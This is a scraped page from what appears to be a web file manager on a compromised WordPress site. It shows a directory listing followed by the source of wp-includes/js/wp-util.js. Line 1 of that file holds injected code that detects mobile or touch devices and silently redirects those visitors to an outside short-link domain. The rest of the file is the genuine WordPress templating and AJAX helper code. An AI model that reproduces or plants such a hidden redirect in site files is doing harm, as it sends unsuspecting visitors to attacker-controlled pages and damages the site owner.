at path:ROOT / wp-includes / js / wp-util.js
run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
10.52 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.46 KB
2026-08-13 20:01:43
R W Run
1.22 KB
2026-08-13 20:01:43
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
5.89 KB
2026-08-13 20:01:44
R W Run
78.77 KB
2026-08-13 20:01:44
R W Run
23.96 KB
2026-08-13 20:01:44
R W Run
26.4 KB
2026-08-13 20:01:44
R W Run
9.01 KB
2026-08-13 20:01:44
R W Run
28.62 KB
2026-08-13 20:01:44
R W Run
16.33 KB
2026-08-13 20:01:44
R W Run
12.44 KB
2026-08-13 20:01:44
R W Run
3.17 KB
2026-08-13 20:01:44
R W Run
25.43 KB
2026-08-13 20:01:44
R W Run
7.88 KB
2026-08-13 20:01:44
R W Run
7.93 KB
2026-08-13 20:01:44
R W Run
3.68 KB
2026-08-13 20:01:44
R W Run
6.88 KB
2026-08-13 20:01:44
R W Run
3.81 KB
2026-08-13 20:01:44
R W Run
14.89 KB
2026-08-13 20:01:44
R W Run
5.13 KB
2026-08-13 20:01:44
R W Run
22.92 KB
2026-08-13 20:01:44
R W Run
7.85 KB
2026-08-13 20:01:44
R W Run
28.14 KB
2026-08-13 20:01:44
R W Run
10.97 KB
2026-08-13 20:01:44
R W Run
32.77 KB
2026-08-13 20:01:44
R W Run
10.66 KB
2026-08-13 20:01:44
R W Run
5.32 KB
2026-08-13 20:01:44
R W Run
2.72 KB
2026-08-13 20:01:44
R W Run
23.71 KB
2026-08-13 20:01:45
R W Run
6.02 KB
2026-08-13 20:01:45
R W Run
7.27 KB
2026-08-13 20:01:45
R W Run
1.68 KB
2026-08-13 20:01:45
R W Run
1.89 KB
2026-08-13 20:01:45
R W Run
5.61 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
253 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
23.79 KB
2026-08-13 20:01:45
R W Run
25.46 KB
2026-08-13 20:01:45
R W Run
9.76 KB
2026-08-13 20:01:45
R W Run
24.35 KB
2026-08-13 20:01:45
R W Run
11.98 KB
2026-08-13 20:01:45
R W Run
28.99 KB
2026-08-13 20:01:45
R W Run
11.05 KB
2026-08-13 20:01:45
R W Run
26.28 KB
2026-08-13 20:01:45
R W Run
13.21 KB
2026-08-13 20:01:45
R W Run
42.74 KB
2026-08-13 20:01:45
R W Run
13.18 KB
2026-08-13 20:01:45
R W Run
266.71 KB
2026-08-13 20:01:45
R W Run
108.28 KB
2026-08-13 20:01:45
R W Run
22.29 KB
2026-08-13 20:01:45
R W Run
11.09 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
2.8 KB
2026-08-13 20:01:45
R W Run
222 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
5.07 KB
2026-08-13 20:01:45
R W Run
3.43 KB
2026-08-13 20:01:45
R W Run
36.53 KB
2026-08-13 20:01:45
R W Run
19.6 KB
2026-08-13 20:01:45
R W Run
67.48 KB
2026-08-13 20:01:45
R W Run
18.78 KB
2026-08-13 20:01:45
R W Run
4.77 KB
2026-08-13 20:01:45
R W Run
2.04 KB
2026-08-13 20:01:45
R W Run
4.03 KB
2026-08-13 20:01:45
R W Run
2.73 KB
2026-08-13 20:01:45
R W Run
46.1 KB
2026-08-13 20:01:45
R W Run
14.55 KB
2026-08-13 20:01:45
R W Run
4.56 KB
2026-08-13 20:01:45
R W Run
1.87 KB
2026-08-13 20:01:45
R W Run
15.1 KB
2026-08-13 20:01:45
R W Run
3.18 KB
2026-08-13 20:01:45
R W Run
10.44 KB
2026-08-13 20:01:45
R W Run
4.55 KB
2026-08-13 20:01:45
R W Run
6.84 KB
2026-08-13 20:01:45
R W Run
3.32 KB
2026-08-13 20:01:45
R W Run
3.36 KB
2026-08-13 20:01:45
R W Run
1.44 KB
2026-08-13 20:01:45
R W Run
13.26 KB
2026-08-13 20:01:45
R W Run
3.12 KB
2026-08-13 20:01:45
R W Run
22.44 KB
2026-08-13 20:01:45
R W Run
8.8 KB
2026-08-13 20:01:45
R W Run
3 KB
2026-08-13 20:01:45
R W Run
1.16 KB
2026-08-13 20:01:45
R W Run
819 By
2026-08-13 20:01:45
R W Run
24.94 KB
2026-08-13 20:01:45
R W Run
7.56 KB
2026-08-13 20:01:45
R W Run
10.21 KB
2026-08-13 20:01:45
R W Run
3.75 KB
2026-08-13 20:01:45
R W Run
1.8 KB
2026-08-13 20:01:45
R W Run
624 By
2026-08-13 20:01:45
R W Run
4.8 KB
2026-08-13 20:01:45
R W Run
1.61 KB
2026-08-13 20:01:45
R W Run
791 By
2026-08-13 20:01:45
R W Run
503 By
2026-08-13 20:01:45
R W Run
20.96 KB
2026-08-13 20:01:45
R W Run
11.27 KB
2026-08-13 20:01:45
R W Run
1.02 KB
2026-08-13 20:01:45
R W Run
573 By
2026-08-13 20:01:45
R W Run
803.18 KB
2026-08-13 20:01:45
R W Run
error_log
📄wp-util.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-includes/js/wp-util.js
4 */
5
6/* global _wpUtilSettings */
7
8/** @namespace wp */
9window.wp = window.wp || {};
10
11(function ($) {
12 // Check for the utility settings.
13 var settings = typeof _wpUtilSettings === 'undefined' ? {} : _wpUtilSettings;
14
15 /**
16 * wp.template( id )
17 *
18 * Fetch a JavaScript template for an id, and return a templating function for it.
19 *
20 * @param {string} id A string that corresponds to a DOM element with an id prefixed with "tmpl-".
21 * For example, "attachment" maps to "tmpl-attachment".
22 * @return {function} A function that lazily-compiles the template requested.
23 */
24 wp.template = _.memoize(function ( id ) {
25 var compiled,
26 /*
27 * Underscore's default ERB-style templates are incompatible with PHP
28 * when asp_tags is enabled, so WordPress uses Mustache-inspired templating syntax.
29 *
30 * @see trac ticket #22344.
31 */
32 options = {
33 evaluate: /<#([\s\S]+?)#>/g,
34 interpolate: /\{\{\{([\s\S]+?)\}\}\}/g,
35 escape: /\{\{([^\}]+?)\}\}(?!\})/g,
36 variable: 'data'
37 };
38
39 return function ( data ) {
40 var el = document.querySelector( 'script#tmpl-' + id );
41 if ( ! el ) {
42 throw new Error( 'Template not found: ' + '#tmpl-' + id );
43 }
44 compiled = compiled || _.template( $( el ).html(), options );
45 return compiled( data );
46 };
47 });
48
49 /*
50 * wp.ajax
51 * ------
52 *
53 * Tools for sending ajax requests with JSON responses and built in error handling.
54 * Mirrors and wraps jQuery's ajax APIs.
55 */
56 wp.ajax = {
57 settings: settings.ajax || {},
58
59 /**
60 * wp.ajax.post( [action], [data] )
61 *
62 * Sends a POST request to WordPress.
63 *
64 * @param {(string|Object)} action The slug of the action to fire in WordPress or options passed
65 * to jQuery.ajax.
66 * @param {Object=} data Optional. The data to populate $_POST with.
67 * @return {$.promise} A jQuery promise that represents the request,
68 * decorated with an abort() method.
69 */
70 post: function( action, data ) {
71 return wp.ajax.send({
72 data: _.isObject( action ) ? action : _.extend( data || {}, { action: action })
73 });
74 },
75
76 /**
77 * wp.ajax.send( [action], [options] )
78 *
79 * Sends a POST request to WordPress.
80 *
81 * @param {(string|Object)} action The slug of the action to fire in WordPress or options passed
82 * to jQuery.ajax.
83 * @param {Object=} options Optional. The options passed to jQuery.ajax.
84 * @return {$.promise} A jQuery promise that represents the request,
85 * decorated with an abort() method.
86 */
87 send: function( action, options ) {
88 var promise, deferred;
89 if ( _.isObject( action ) ) {
90 options = action;
91 } else {
92 options = options || {};
93 options.data = _.extend( options.data || {}, { action: action });
94 }
95
96 options = _.defaults( options || {}, {
97 type: 'POST',
98 url: wp.ajax.settings.url,
99 context: this
100 });
101
102 deferred = $.Deferred( function( deferred ) {
103 // Transfer success/error callbacks.
104 if ( options.success ) {
105 deferred.done( options.success );
106 }
107
108 if ( options.error ) {
109 deferred.fail( options.error );
110 }
111
112 delete options.success;
113 delete options.error;
114
115 // Use with PHP's wp_send_json_success() and wp_send_json_error().
116 deferred.jqXHR = $.ajax( options ).done( function( response ) {
117 // Treat a response of 1 as successful for backward compatibility with existing handlers.
118 if ( response === '1' || response === 1 ) {
119 response = { success: true };
120 }
121
122 if ( _.isObject( response ) && ! _.isUndefined( response.success ) ) {
123
124 // When handling a media attachments request, get the total attachments from response headers.
125 var context = this;
126 deferred.done( function() {
127 if (
128 action &&
129 action.data &&
130 'query-attachments' === action.data.action &&
131 deferred.jqXHR.hasOwnProperty( 'getResponseHeader' ) &&
132 deferred.jqXHR.getResponseHeader( 'X-WP-Total' )
133 ) {
134 context.totalAttachments = parseInt( deferred.jqXHR.getResponseHeader( 'X-WP-Total' ), 10 );
135 } else {
136 context.totalAttachments = 0;
137 }
138 } );
139 deferred[ response.success ? 'resolveWith' : 'rejectWith' ]( this, [response.data] );
140 } else {
141 deferred.rejectWith( this, [response] );
142 }
143 }).fail( function() {
144 deferred.rejectWith( this, arguments );
145 });
146 });
147
148 promise = deferred.promise();
149 promise.abort = function() {
150 deferred.jqXHR.abort();
151 return this;
152 };
153
154 return promise;
155 }
156 };
157
158}(jQuery));
159